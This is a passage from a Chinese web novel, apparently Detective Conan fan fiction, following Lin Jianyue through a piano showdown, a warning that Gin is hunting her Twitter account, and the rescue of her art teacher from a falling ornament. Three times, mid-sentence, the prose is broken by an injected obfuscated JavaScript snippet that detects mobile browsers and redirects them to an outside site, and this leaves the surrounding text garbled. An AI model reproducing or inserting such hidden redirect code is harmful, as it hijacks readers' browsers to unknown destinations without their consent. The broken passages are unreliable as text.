她热情地揽住林见月,正要向佐藤几人做介绍,餐厅门口突然响起一阵骚动。 田中捧着束粉玫瑰走进来,目光精准地锁定林见月,笑得一脸灿烂。 看到玫瑰花的瞬间,林见月太阳穴突突直跳。但幸好田中没有完全疯,买的是粉玫瑰。他要是捧着一束红玫瑰进来,她现在就能掀桌走人。 “见月,好久不见。” 田中把花往她面前一推,“上次联谊太匆忙,没来得及要联系方式。” “抱歉,” 林见月没接花,语气平淡,“我上次来只是好奇,没打算找男朋友。” “做朋友也可以啊。” 田中锲而不舍,把花往她手边又送了送,“我在机动队工作,你要是遇到危险或者麻烦,打我电话,我保证立马赶到。” 宫本由美一直很紧张地注意着这边,见状她连忙笑着岔开话题:“说什么立马到,就东京这堵车情况……你们机动队是不是都喜欢超速驾驶,你们萩原队长就经常吃我罚单。你小心别被我逮到哦。” 田中笑起来:“谁比得过队长啊,他那车技,我都怀疑他是汽车特技演员转行来当警察的了。” “这么说,遇到危险打给你们队长,比打给你管用?” 林见月突然开口,语气慢悠悠的,“他能来得更快。” 田中脸上的笑僵了僵,干巴巴地说:“队长忙得很,职位又高,哪会管这种小事。” 林见月杵着下巴笑笑,没有说话。 这时,台上传来一阵旋律。一个年轻的男招待生坐在钢琴后面,行云流水地演奏出一曲《月光》。 这次联谊的餐厅只能算中端,这种地方不会请专业的钢琴演奏者,多数情况都是去音乐学院低价抓一只大学生。 “你们有人知道那架钢琴的牌子吗?” 田中突然指着钢琴问,眼神里带着点炫耀。 其他人纷纷摇头,林见月也默不作声。 但显然有人不想她的存在感就这么消失。 “见月,你知道吗?” 被特意点名,林见月眼底流过一丝不适。她平静而克制的保持着微笑,也跟着缓缓摇头。 “是雅马哈吗?”高木涉问。 “是伊特娜,日本本土牌子。” 田中得意地扬起下巴,“伊特娜是雅马哈和竞争对手打得最凶的时候推出的副品牌,但质量一点不比其他家差。” 高木好奇地问:“田中前辈知道的好多,弹琴也一定很厉害吧。” 田中立马摆出谦虚的样子:“只是作为兴趣学过七八年,勉强也算半个古典乐资深爱好者,平时会去听听交响乐的演奏会。” 高木特别捧场,眼神清澈得像大学生,他也确实是个心灵干净清澈又充满正义的人:“哇好厉害,我对音乐就一窍不通。” “不懂音乐也挺好的,你是不知道专业交响乐团的门票有多贵。前年有个中国国籍的钢琴大师,他的门票A席从4千日元一路飘升到1万日元,我最后也只舍得买了一张观感不好的B席。” 林见月手指针扎般缩了下,眸色发暗。 前年,中国,钢琴大师。 田中没注意到她的异样,站起身整理了下领带:“见月,你等着,我去给你露一手。” 他跟餐厅经理说了几句,居然真的被准许上台。坐上去前,他特意朝林见月挤眉弄眼,仿佛在说“看好了”。 林见月也如他所愿,杵着下巴,冲他扯了扯嘴角。 是要如何? 一个只在课余时间练琴的业余者,居然要在她这个两眼一睁就是弹琴,并且风雨无阻弹了十八年的人面前炫耀琴技。 田中选择的曲子是《菊次郎的夏天》,演奏完毕,台下响起窸窸窣窣的掌声。 他昂首挺胸地走回来,坐到林见月对面:“献丑了,好久不弹,都有点生疏了。”但脸上满是对自己刚才表演的满意。 他故作谦虚:“你觉得怎么样?” 林见月意味深长:“田中先生,你确定要让我评价吗?” “当然,这首曲子就是特意为你准备的。”田中絮絮叨叨道,“虽然比不过大师,但我自认为比很多业余爱好者强。而且——” “久石让的经典作品,去掉了复杂的装饰音,右手旋律轻快活泼,左手则简化成单音,是适合初学者的简易版。还不错,作为业余爱好者,勉强能打个7分。” 田中脸色变得有些难看:“虽说进行了简化,但说是初学版也 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15946681|177045||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 太……而且怎么才7分,见月你不太懂这其中的门道,所以——” 林见月笑笑,没说话,直接站起身。 她走上台,向着观众——或者说食客的方向行了个标准的礼,随即坐下。 林见月演奏的也是《菊次郎的夏天》,却是更复杂的原版。 右手在高音区飞速跑动,左手则需要进行低音区的大跳,手指分开到八度甚至是十度。偶尔的双手交叉配合,更是完成得行云流水。 整首曲子旋律丰富,似夏日鸟啼蝉鸣,带着童年午后的慵懒和冰镇过后的西瓜清甜。 一曲毕,场内陷入死一般的寂静。两秒后,掌声像炸雷一样响起来。有人站起身举高双臂鼓掌,有人吹着口哨叫好,连佐藤美和子他们也露出震惊的神情,机械地重复着拍手的动作。 林见月优雅欠身,走下台。 她讨厌钢琴,讨厌那些被父亲逼着练琴的夜晚,但指尖的记忆骗不了人。音乐早就刻进她骨子里,成为流淌在她血液里的一部分,哪怕恨得牙痒痒,也甩不掉。 林见月坐下时,田中的脸已经黑得像锅底,其他人则一脸震惊。 林见月故作谦虚,眼含笑意:“钢琴牌子我确实不懂,不过……” 她顿了顿,抬眼看向田中:“无论我走到哪,都会有人为我准备最好的钢琴。所以我只需要认识金字塔顶端的那几架钢琴。” 话音刚落,手机震了震,降谷零发来的:『现在有空吗,见一面?』 林见月回:『有。』 『我让萩原去接你,把地址发给他。』 林见月发完消息,重新看向田中:“田中先生,恕我直言,如果您真的关注古典音乐,就该知道我父亲的名字。他去年还受邀在东京歌剧城音乐厅表演。” 林见月讨厌父亲,甚至是憎恶,但她又不得不承认父亲的天赋和才华,他确实对得起音乐世家才子的名号。 田中已经隐隐猜出真相,他脸色一阵白一阵红,随即碾着后槽牙不死心地问:“你父亲是……?” 林见月缓缓念出父亲的名字,如愿以偿地看到坐在对面的田中惶恐地瞪大眼睛。 通过他的表情,林见月看出他确实知道她父亲的名字,而且他花大价钱抢的门票大概率就是她父亲的。 之后是短暂的沉默,尴尬的氛围在几人间环绕。林见月一边往嘴里塞切好的牛排,一边数着数期望萩原研二能快点来。 几分钟过去,林见月身后传来熟悉的声音,带着点笑意:“见月,我来接你了。” 萩原研二在招待生的带领下出现在几人面前,他穿着笔挺的西装,白衬衫下是隐而不发的充满爆发力的肌肉。 萩原研二站在餐桌旁,目光扫过桌上的粉玫瑰,又落在林见月脸上,眼底是藏不住的笑意:“看来我来得正是时候。” 他拿起桌上的玫瑰:“这是见月你的吗?” 林见月先是点头,而后摇头:“是田中先生送我的,但我没收。” “诶——”萩原研二拖长尾音,“好漂亮的一束花。”随即笑眯眯着看向田中。 他虽是在笑,眼底翻涌着的晦暗不明的情绪却黑云般压向田中。但从这个角度,林见月只能看到他后脑勺垂落的乌发。 田中汗津津地低下头避开萩原研二的视线:“都、都是误会。” 萩原研二抱起捧花:“真好,粉玫瑰,花语是表达感激和歌颂友谊。见月酱帮了田中什么忙吗?” 他低头轻嗅一口,笑着弯了弯眉:“答谢礼的话,不收下不行呢,那我就代见月酱收下啦~” “……”林见月沉默地盯着萩原研二,突然觉得有些陌生,但又觉得情理之中。 她起身冲在场剩下几人鞠躬道歉,说明自己要先离场,站直身体时却对上宫本由美震惊到能吞下一整枚鸡蛋的表情。 “我先告辞了。” 林见月没有多解释,转身离开。 餐厅外的晚风带着凉意,她跟在萩原研二身后,和他一起坐上车。 “去哪?” 她问。 “去零的安全屋,” 萩原研二侧过头,路灯的光落在他眼里,亮闪闪的,“不过在那之前,要不要先去吃个冰淇淋?我知道有家店开到很晚,而且刚好顺路。” 林见月看着他眼里的笑意,突然想起那张狗狗表情包。她沉默须臾,语气却软了下来:“嗯,去买冰淇淋吧。” 14.独家 降谷零的安全屋。 茶室里飘着绿茶的清香,热气挂在玻璃杯壁上凝成水珠。降谷零端着两杯茶走过来时,脚步顿了顿。 他家客厅沙发上,林见月专注地低着头在平板上画画,压感笔和屏幕摩擦发出沙沙沙的声音。 萩原研二则挨着林见月,克制地和她保持着两个拳头的距离。既隐忍,给林见月留出舒适的社交距离,又忍不住想要靠近。 萩原研二手边摆了一束包装精美的粉色玫瑰,降谷零一开始以为是他买来送给林见月的,但他却毫不留情地把其中一朵开得正盛的玫瑰花整支折断。 萩原研二捏着被从花托处折断的玫瑰,转了半圈,再握进手里用力捏碎,动作慢得像在凌迟。 不知为何,降谷零从他的动作里读出了一股带着点扭曲的不甘和嫉妒。 “久等了。”降谷零把茶杯摆到两人面前,随即坐到旁边的独坐沙发上。 他扫过被萩原研二摧残的七零八落的玫瑰花,开门见山:“你们不能公开交往。” “哈?”萩原研二唰地坐直身体,握着玫瑰的手骤然用力,一点朱红从被扎破的指尖溢出。 他眼睛瞪得溜圆,像被踩了尾巴的猫,委屈道:“小降谷你到底哪边的?” 林见月则斜眼看向萩原研二,无声谴责他隐瞒事实的行为。 降谷零没理他,而是看向林见月:“琴酒知道推特的事了。” 林见月端着茶杯的手猛地一颤,滚烫的茶水溅落在虎口,指尖却凉得吓人。 林见月没有吭声,反而是萩原研二皱眉思考,露出疑惑的表情:“见月画过一些敏感的东西,并且发到了推特上?” 他没看过林见月的推特,甚至没有找到过账号,但能大概猜出背后的真相。 降谷零点头:“世界融合时,林见月的推特账号也出现在了这边的世界,她在上面画了不少组织的代号成员。琴酒已经知道账号的事了,现在正满世界找账号主人。” 萩原研二蹙眉,一种像是冰川底下爆发的火山般复杂的情绪喷涌而出,滚烫又冰凉。 萩原研二这样聪明的人,自然猜得到必须分开的理由。 林见月在她的推特账号上画了不止一张他的肖像画,一定是密密麻麻、足以引起琴酒警觉的数量。 这是喜事,每幅画背后都托举着她的爱意。 但…… 萩原研二眸色发暗。 他不想和林见月分开,更不希望她遇险。 另一边,得知噩耗的林见月没有说话。她低头小口抿着茶,却只尝到苦涩。 她早该意识到的。 但她太忙了。 初见萩原研二的那几天,她先是被强烈的情绪冲垮,又被堆成山的绘画任务压得喘不过气来。她喜欢忙碌的感觉,但忙碌也让她忘了自己曾蹭了个热点,随手画过黑衣组织成员红黑反转的事。直到前天,她才骤然想起这件事。 冲回家打算删除推特时,发现推特账号已经不存在了。但她以为,是世界融合让她的账号被销毁。 握住杯子的手一点点攥紧,林见月垂着脑袋,眼眸颤动。 虽然黑衣组织总被他们读者调侃称「水里掺酒的酒厂」,但他们是货真价实的跨国犯罪集团。 主角团们全是能靠着主角光环和漫长到能让剧情变形的连载期,才让黑衣组织活得像个笑话。但谁能否认《柯南》连载前期,组织和琴酒登场时带来的压迫性。 即便是被当作笑话看待的剧情后期,组织也杀了很多人,甚至是各个国家的特工和议员。 能弄来直升机和潜艇的跨国犯罪集团,根本不是她能应付的。 但幸好琴酒对她的信息一无所获。 林见月又低头喝了口茶。 也许她该抓紧时间和柯南搞好关系。 林见月原本就打算结识柯南——她不打算参与红黑之间的斗争,哪怕开了上帝视角,她对组织的了解也只是九牛一毛,未必有降谷零多。 一个手无缚鸡之力的成年女性,没学过武术,也没经过特殊训练,她拿什么参与主线,靠家里那几卷漫画书吗? 这几本书还不如牛津词典来得实在,牛津词典好歹还挡下过子弹,战绩可查。 林见月必须承认,她接近柯南是抱有目的的。她想通过柯南,结识他身后可能潜在的和插画相关的顶尖人士。 整个东京的顶尖人才最后都会和柯南搭上关系,不是吗。 她原本打算顺其自然。主动,但不会主动得太刻意。她会跨出十步,剩下的九十步则随缘。 但是现在,她可能得想办法和柯南尽快搞好关系。 她大概是个赌徒。 她不会为了这百分之一的被琴酒发现的概率,放弃现有的一切,逃回国。 大哭一场才平静下来的情绪,现在又再次出现崩塌的迹象。但林见月是个适应性极强的人,她做了几个深呼吸,不停劝说自己冷静下来,便真的冷静了下来。 后怕感却让她额头渗出细密的汗。 就在这时,一只虎口处留有薄茧的修长的手出现在视野里,掌心处是四四方方叠好的方巾。 林见月顺着手抬头,萩原研二微笑的脸映入眼帘。他脸上挂着安抚性的笑,就像他们在梦中初见时那样。 那时她刚因反抗父亲挨了一耳光,挂着泪睡着,他却无征兆地出现在她梦里。萩原研二和她客气地寒暄几句,递给她一张叠好的方巾,低声安抚她。 那时的画面和现在重叠。 林见月接过纸巾,心绪缓缓下沉。 她忍不住想,要是能把他暂停在梦里就好了。永远可控,永远忠诚,永远爱意饱满。 但现在这个暧昧的状态其实也还不错,她能肆无忌惮地享受他的爱意和示好,不对他抱有男朋友的期待,不用担心他的忠诚和爱是否消散,也永远……不用面对现实的拉扯。 林见月不打算长居日本,萩原研二的警察身份也注定了他不可能移居他国。 她不想为了萩原研二临时更改人生计划。 萩原研二盯着林见月的眼睛,第一次痛恨自己敏锐的情感洞察能力。 他看懂了林见月因思考而短暂失焦的眼神里蕴藏的情绪,那是道别和愧疚纠缠在一起,在接纳和推开之间摇摆拉扯而形成的沉甸甸的情绪。 不。 不行。 不可以。 他好不容易才取得进展,怎么可以让她再有逃跑的想法。 “林,你也不用太担心,”降谷零出声打断,“琴酒把搜寻你情报的任务交给 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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萩原研二无话可说,垂下脑袋,蔫蔫地靠回沙发里,周身的气压低得能结冰,仿佛刚从长满青苔的冷井里捞出来。 “不过我会安排个公安协助人跟着她。”降谷零补充道。 萩原研二猛地抬头,眼里的嫉妒几乎要具象化。他倏地把玫瑰花丢进垃圾桶里,似不愿面对般扭头看向窗外。 “别担心,这个人绝对不会乘虚而入的,” 降谷零慢悠悠地说,“因为我安排的是松田。” “诶?”萩原研二震惊地转过头来。 “我说服他当公安协助人了,任务是保护林见月。” 降谷零端起茶杯,掩住嘴角的笑意,“这样你就能借着松田阵平幼驯染的名头,光明正大出现在她旁边。但频率不能太高,在公共场合时也需要注意社交距离。” “基安蒂是白痴,但琴酒不是,他很可能猜出账号的主人和三七分男人——也就是你,你们之间的关系。所以你们中间最好隔着其他人,让你们看上去不要那么亲密。” 萩原研二张了张嘴,半天没说出话。 真有趣。 前两天还在唾弃自己居然有当小三的想法,今天就真的无痛给人当起小三,而且还是挖松田阵平墙角的小三。 这真是…… 他低头看了看垃圾桶里残败的玫瑰花,又抬头看了看林见月,突然捂住脸,闷笑出声。 “行吧。” 他从指缝里露出眼睛,紫眸里闪着点光。 总比见不着强。 15.独家(修) 星期一。 清晨的空气里带着一点稀薄的寒意,林见月打了个哈欠,背着包往楼下走。 她今天心情实在算不上好。 银行卡里没多少钱了,哥哥又刚帮她交过一大笔房租,她没法开口在这个时候向哥哥开口要赞助。 林见月倒是想接一些国内的大商单,但她在国内知名度不够,很少有企业愿意找她。况且学业压力太大,她也很难抽出多余的时间。 至于给老师当助理…… 「助理」这种在日本境内毫无地位可言的职业,除去点缀简历和积累实力,根本拿不到多少钱。 林见月叹了口气,无端有些烦躁。 她几乎能想象出他笑着递卡的样子,可那样一来,两人之间本就微妙的距离,只会彻底乱了分寸。 林见月烦躁地刷开公寓大门,径直朝路口走去。 公寓楼下的十字路口,黑白相间的警车闪着微弱的光。林见月刚要绕开警车往地铁站走,身后突然传来一声呼喊。 “林!” 她回头,宫本由美正从警车驾驶座探出半截身子,歪着头冲她笑,眼里带着毫不掩饰的八卦:“这么巧,没想到能在这里遇到你。” 林见月瞥了眼手机屏幕,见时间还早,便绕回警车边,弯腰冲车里的女人打招呼:“早上好,宫本警官。” 宫本由美用胳膊肘轻轻杵了杵林见月的腰,语气带着点促狭,“萩原警官传闻中的神秘女友该不会就是你吧?藏得够深啊” 她把手拢在嘴边,做出耳语的姿势,音量却一点不见减弱:“说吧,什么时候和萩原警官在一起的?” “没有在一起。” 林见月淡淡回复。 “真的假的?”宫本由美满脸不信,“是还在闹别扭冷战,还是从始至终没在一起过?” 林见月抿了抿唇,避开她的视线:“不好说。” “不太好答?” 宫本由美疑惑皱眉,刚要追问,车子后方突然传来一声算不上温和的男人的声音。 “见月。” 两人同时回头。 警车后方,松田阵平倚在一辆黑色私家车旁。他穿着藏蓝色西装,同色系领带,鼻梁上架着一成不变的黑色墨镜。 他冲林见月抬了抬下巴:“接你去学校。” 宫本由美眼睛瞪得溜圆,愣了两秒后突然来了精神,冲松田挤眉弄眼::“哟,这是帮兄弟接女朋友啊?怕她再被田中那种人骚扰?” “你在说什么胡话,” 松田嗤笑一声,嘴角勾起一抹带点恶劣的弧度,“她什么时候成萩的女朋友了?” “诶?” 宫本由美来回扫视着走向车的林见月和松田,眼里的疑惑快要溢出来,“那你俩……” “你猜。” 松田丢下两个字,拉开后座车门,侧身示意林见月。 林见月弯腰时,才发现后座藏着个人。萩原研二穿着米白色卫衣,怀里抱着个鼓鼓囊囊的牛皮纸袋,见她看过来,眼睛弯成了月牙,像只偷藏了糖果的小狗:“早上好呀,见月酱。” 林见月顿了顿,最终还是回以一个笑,坐进车里。 啪嗒一声,松田阵平重重合上后座车门,冲还在不停八卦的宫本由美没好气道:“好好上你的班去。” 便坐进驾驶座,打开导航,开车驶向多摩艺术大学。 车子启动时,林见月侧身透过后挡风玻璃看向宫本由美。 漂亮的留着长发中分的女警正对着手机飞快地打字,眉头拧成了麻花,眼底却燃着兴奋的光。 不用想也知道,爆处组王牌双星的绯闻会在一周内传遍整个警视厅——就像原著里佐藤快速扩散的绯闻恋情。 不过林见月不太在乎。 青山刚昌笔下塑造的东京警察们虽然会变得越来越不可靠,偶尔甚至会混进几个反派,但骨子里的分寸感还是有的,不至于低俗到拿女性的名声编黄谣。 “见月酱,”萩原研二黏糊糊地挤过来,从牛皮纸袋里翻出各种各样的早餐,“我都没了解过见月酱的早餐喜好,所以给你买了关东煮、三明治、炒面面包……” 他报菜名般边念边掏出一堆温度各异的食物,堆在两人中间的座椅上,然后展示奖牌般向林见月摊开手,笑容满面:“见月酱想吃哪个~?” “……”林见月盯着五花八门的早餐,缓缓抬头看向萩原研二:“这么多不怕浪费吗?” “不会的。你先挑,剩下的我和小阵平会解决。” “但是你们两个人也吃不掉这么多吧。” “还可以当午饭。” “……” 透过后视镜,林见月看到松田阵平无语地翻了个白眼,一副不想理睬但又因为是幼驯染而不得不忍耐的样子——阳光稀薄的清晨不适合戴墨镜开车,他现在摘下了墨镜。 “零应该跟你说过我的事了。” 松田阵平插进话题,他转动方向盘,车子平稳地汇入早高峰的车流。 林见月 “嗯” 了一声,随手抓起一个炒面面包,撕开包装。 这是她第一次尝试这种极具日本特色的面包,听上去像黑暗料理,但据说味道还不错。反正她认识的为数不多的几个中国留学生一直在向她强烈安利。 红灯亮起,松田阵平趁着停车的十几秒时间,从头顶的储物格里摸出一张名片递过来:“这是我的电话。” 林见月收下名片,红灯也刚好转绿。松田阵平重新启动车辆:“我已经从降谷零手里拿到了你的手机号码,还有住址。” 他顿了顿,解释道:“降谷零找了你很久,可能是受世界融合的影响,日本政府存在电脑里的档案资料出现了大量错误,我们一直找不到你的住址。” 林见月费力嚼着嘴里的炒面,忍不住想,就算没有她出现,能被阿笠博士轻轻松松就托人找到关系伪造证件,让柯南、灰原成为日本合法公民,在一堆警察眼皮子底下到处乱跑,日本政府的信息安全实在也没好到哪里去。 咯吱。 车子在大学门口停稳,林见月刚要推门下车,面前却被人递过来一罐已经插好吸管的牛奶。 顺着手向上望去,萩原研二单手托腮,脸上是毫无芥蒂的甜甜笑意:“今天也辛苦了,学习加油!” 林见月道了句谢,第二次打算拉车门,却被松田阵平喊住。 他转过头,额前的碎发垂下来,遮住了一点眼神。他语气里带着点难得的认真,又混着他惯有的痞气:“谢了。” 林见月一顿,难得露出迷茫。 “不管是萩差点被炸死,还是景光或者班长。以后要是有什么事用得着我,尽管开口。不止我,其他几个人也会在能力范围内帮你。” “我什么都没做。” 林见月垂眸看向自己的脚尖,声音很轻,“我什么都没做,拯救你们的是你们自己。” 松田笑了笑,没再反驳,只是冲她摆了摆手:“我下班比你晚,应该接不了你。” 林见月点头,推开车门下车,走出几步后听见身后传来引擎重新启动的声音,和身后萩原研二笑意盈盈地道别。 黑色私家车走远,林见月下意识舔了舔上唇处残留的细小的面包粒。 萩原研二挑选的早餐味道不错,是她会喜欢的类型。 - 林见月在电脑前忙了一上午,直到午休时,老师叩响教室的门,问她要不要一起吃午饭,林见月才舍得放下画笔。 和那些一听说要跟老师单独吃饭就紧张得手心冒汗的同学不同,林见月几乎是立刻就答应了。 多摩艺术大学的食堂不同于国内,餐厅的灯光是柔和的暖黄色,衬得桌布上的暗纹都温柔了几分。 林见月搅着碗里的茶泡饭,状似无意地提起:“老师,我想跟着您多学些东西,也想……多见见世面。” 老师握着金属勺的手顿了顿,舀起一勺咖喱送进嘴里,慢慢咀嚼完才开口。语气很温和,却没正面回应:“你的画还需要再沉淀一阵。” 林见月心里有数,垂眸没再多提。 她崇拜她的老师,不仅因为老师是业内出名的绘画大佬,还因为她是位以严苛闻名的插画师,每幅画作都追求无限接近完美。 一切事物都具有两面性。 事业心意味着没空陪伴家人,好说话意味着某些时候会显得没主见……老师在画作上追求完美,意味着她对学生同样如此要求。 这位站在金字塔顶端的老师愿意在专业上倾囊相授,但也仅此而已。 她始终恪守着老师和老板的本分,从不轻易把人拉进自己的圈子——在她眼里,只有那些百分百达到她标准的学生,才值得被引荐。 可她是天才,对绘画的要求严苛到近乎偏执,能得她引荐的人寥寥无几。但光是从她手底下顺利毕业的成绩,就足够在行业里闯一闯了。 林见月对这样的结果并不意外,只是可惜接下来半个月要过得很拮据了。 思至此,林见月低头继续吃饭。 但吃到一半时,一个留着八字胡的中年男人从外面进来。路过她们桌时,男人恶狠狠地瞪了老师一眼,阴冷的眼神像沾了血的刀,看得人心里发紧。 “之前有个动画项目找过我,” 老师放下勺子,语气平静地解释,“我当时手头事太多,推掉了,他们就去找了刚才那个男人。据说合同都快签了,结果我这边突然空出了时间,项目组就又回头来找我。” 她声音变轻:“我也是事后才知道这些事的,想想也挺对不起他的。” “这不是您的错。” 林见月立刻维护道“是您的实力足够让人愿意等。” 话音刚落,餐厅门口又走进来一个穿红色连衣裙、烫着精致的卷发的女人。 她和老师的视线在空中撞上的瞬间,两人脸上的表情几乎同时冷了下来,空气里仿佛有细碎的电流在噼啪作响。 老师没解释,林见月却看得出来,她们之间藏着很深的矛盾。 更让人心慌的是,没过几分钟,一个戴黑框眼镜的男人在看到老师时,快步冲到她们桌前,指着老师的鼻子就骂:“你凭什么针对我!” “我怎么针对你了?” “你逼我从公司离职,还让业内封杀我!别说不是你干的!” “你做了什么,你自己不清楚吗?” 老师放下勺子,看向男人的眼神冷得快能结冰:“我说过,我的公司,决不允许抄袭事件发生。” “你有什么证据说我抄袭!” “你一定要我把证据甩到你脸上才肯安分吗?” “你害我现在连个像样的工作都找不到!” 男人情绪失控地挥着胳膊,声音大得让周围几桌的客人都看了过来。 “那是你罪有应得。” 老师的语气没有丝毫松动。 林见月盯着眼前一幕,和自己崇拜之人共同进餐的喜悦骤然沉底,一种强烈的不安感顺着脊椎爬上来。 她下意识地摸出包里的第三卷《名柯》漫画,翻开一看,瞳孔猛地收缩。 漫画里,毛利小五郎一行人今天早上刚解决了一起命案。不凑巧,这起命案正好占满第三卷剩余的所有篇幅。回程路上,江户川柯 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15972919|177045||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 南遇到了少年侦探团,他们闹哄哄地拽住柯南,说是要一起去多摩艺术大学找光彦的远房表姐。 再往后,就得去看第四卷的内容了。 但林见月没带第四卷出门。 一卷漫画通常有 11 话左右,偶尔会因为篇幅问题相差1-2话。早上出门时,第三卷才更新到一半。她以为至少还要一天时间,第三卷才会全部更新完。 难道说案件开始变密集了? 这个念头刚冒出来,林见月就 “蹭” 地一下从座位上站了起来。动作太急,带得椅子腿在地板上划出刺耳的声响,连老师都被她吓了一跳。 林见月飞快地环顾四周,果然在靠窗的位置看到了少年侦探团的几个身影。 光彦正举着相机对准窗外的鸽子,步美则在和柯南说着什么,但现在三个人的注意力都被林见月起身时发出的巨响吸引,只有元太还在大口往嘴里塞鳗鱼饭。 和柯南对上视线的瞬间,鸡皮疙瘩在林见月胳膊处炸开,天寒地冻。 说难听点,东京每天死多少人,她根本不在乎。只要死亡没发生在她眼前,对她来说就只是社会新闻里的一串文字。 但死的人绝不能是她的老师。 这位老师是她的女神,是她当年宁愿摔断胳膊也要学画画的动力,是能让她心甘情愿熬三个通宵改稿的存在。 戴眼镜的男人还在对着老师嘶吼,声音却震得林见月太阳穴直突突。她猛地端起桌上的冰水,兜头就往男人脸上泼了过去。 整间餐厅被按下静音键,男人满脸不敢置信地看向林见月,却对上她发狠的眼睛。 林见月死死地盯着男人,声音冷得像淬了冰:“再不走,我现在就报警。” 男人被她眼里的阴恻吓了一跳,愣了几秒,撂下句 “你给我等着”,转身匆匆离开了餐厅。 接下来的用餐时间,林见月坐立难安。 老师让侍者加一份炸虾,她要盯着后厨出来的每一个人;老师说想去洗手间补个妆,她几乎立刻就从座位上弹起来:“我陪您一起去。” 如此折腾几次,老师终于察觉到了林见月的不对劲,放下餐巾看向她:“见月,你是不是太累了?要是不舒服,我们就先回去吧。” “老师,” 林见月咬了咬牙,还是决定说出来,尽管她知道这听起来很荒谬,“可能……有人想杀您。” 但她不知道对方打算何时以何种方式杀人。 老师皱起眉,眼里闪过一丝不悦,显然是觉得她在说胡话:“见月,我知道你一个人来日本闯荡很不容易,但你不能因为我拒绝了你,就说这种诅——” 话还没来得及说完,头顶突然传来哐当一声巨响。悬挂在天花板上的装饰用的刺猬形状的球体,掉了下来。 他们现在所处的餐厅有三层,构造类似于路边咖啡厅,二楼和三楼是室内露台的结构。餐厅三楼,一道黑影一闪而过。 林见月也不知道为什么食堂的天花板上会悬挂着这么多装饰,可能因为是艺术大学,必须处处充满艺术氛围,也可能单纯因为剧情需要——就像东京总是莫名其妙长出很多炸|弹,也不知道他们是从哪弄来的进货渠道。 将近一米长的黄色刺猬状球体倒映在林见月浅棕色的眼眸里,直直朝她几步外的老师砸来。 她甚至能预见装饰物被老师的血染成红色的样子。 时间仿佛被放慢,林见月的大脑一片空白,身体先于意识做出了反应。 她想都没想就扑了过去,用自己的后背挡住了砸向老师的装饰球,将老师死死护在身下。 砰的一声闷响,装饰品被从角落飞出来的足球踢飞,在玻璃墙上破开个大洞,飞了出去。 碎裂的玻璃从天而降,尽数砸在林见月背上,又弹落到地板上。 “柯南!” 林见月忍着疼,仰头冲靠窗的位置喊了一声。 柯南一只脚站在沙发上,一只脚踩着桌子,右脚的红色皮鞋侧面正闪着彩色电流般怪异的光,迅速消散。 他跳下桌子,不顾身后少年侦探团的叫喊,拔腿就往楼梯间跑。 见状,林见月长舒一口气,艰难地从老师身上爬起身。 视野重获光明,师惊慌失措主动地从地上坐起来。她扫过林见月渗血的胳膊,眼圈瞬间就红了:“快,我带你去医院!” “不用,” 林见月按住她的手,“这种程度不至于去医院,我自己能处理。老师您先报警,让少年侦探团陪您在这里等警察,他们很靠谱的。” 没能追上柯南的少年团们姗姗来迟,正好听见林见月对他们的肯定,登时两眼放光,手牵手护住林见月的老师:“放心吧,我们一定会保护好你的!” 老师被擦肩而过的死亡吓慌了神,犹犹豫豫地答应了下来,看向林见月的目光满是怜惜。林见月则是独自完成报警工作,抽出纸巾捂住自己流血的胳膊,朝学校的医务室走。 幸好只是划破了皮,虽然有些地方伤口略深,但不至于缝针。 医务室外,林见月跳过敲门的步骤,直接推开棕红色的医务室大门。 雪白的摆着三张病床的房间里,一个穿着白大褂的男人坐在可以转动的圆椅上,背对林见月。听见开门声,他吱呀转过身,露出一张林见月几个小时前才见过的脸。 萩原研二穿着白大褂,鼻梁上架着一副细框的黑框眼镜,怀里还抱着个药箱。 他先是错愕地瞪大眼睛,随即露出了一个温和的笑容,抬手推了推没有度数的眼镜:“见月同学,坐这吧,我帮你处理伤口。” 16.独家 萩原研二刚起身要走向林见月,她已经自己挪到床边坐下了。 萩原研二眸色暗了暗,没有多说什么。他从医药箱里翻出需要的工具,用碘伏轻轻擦拭林见月胳膊处的划伤。 但相比起胳膊,膝盖才是林见月伤得最重的地方。她抱着老师扑倒在地时,膝盖蹭着地面滑破一层皮,殷红的血珠沾着细小的沙粒,红得刺眼。 萩原研二蹲下|身,在看清过膝裙底下的伤口时,眉头轻轻蹙起。 生理盐水自瓶口倾斜而下,把大颗的沙粒冲洗干净。随后是湿润的沾了碘伏的棉签。 质地较硬的棉签刚触上擦伤处,林见月的小腿就缩了缩,向后躲闪。 “抱歉,我会再轻一点的。” 萩原研二的声音温温凉凉,像被雨清洗过的月亮。 重新落下的棉签力道放得极轻,擦到最深的那处伤口时他忽然低下头,对着伤处轻轻吹气。 林见月似被踩了尾巴的猫,下意识就要躲开,却被萩原研二隔着鞋子握住她的脚掌,让她踩在他的大腿上。 “乖一点,马上就好了。”他又往林见月的膝盖处凑近几厘米。温热的气息带着薄荷味拂过皮肤,有点痒。 吹气没有任何缓解疼痛的作用,但三年级以后,再也没有人冲着林见月的伤口轻轻吹气。 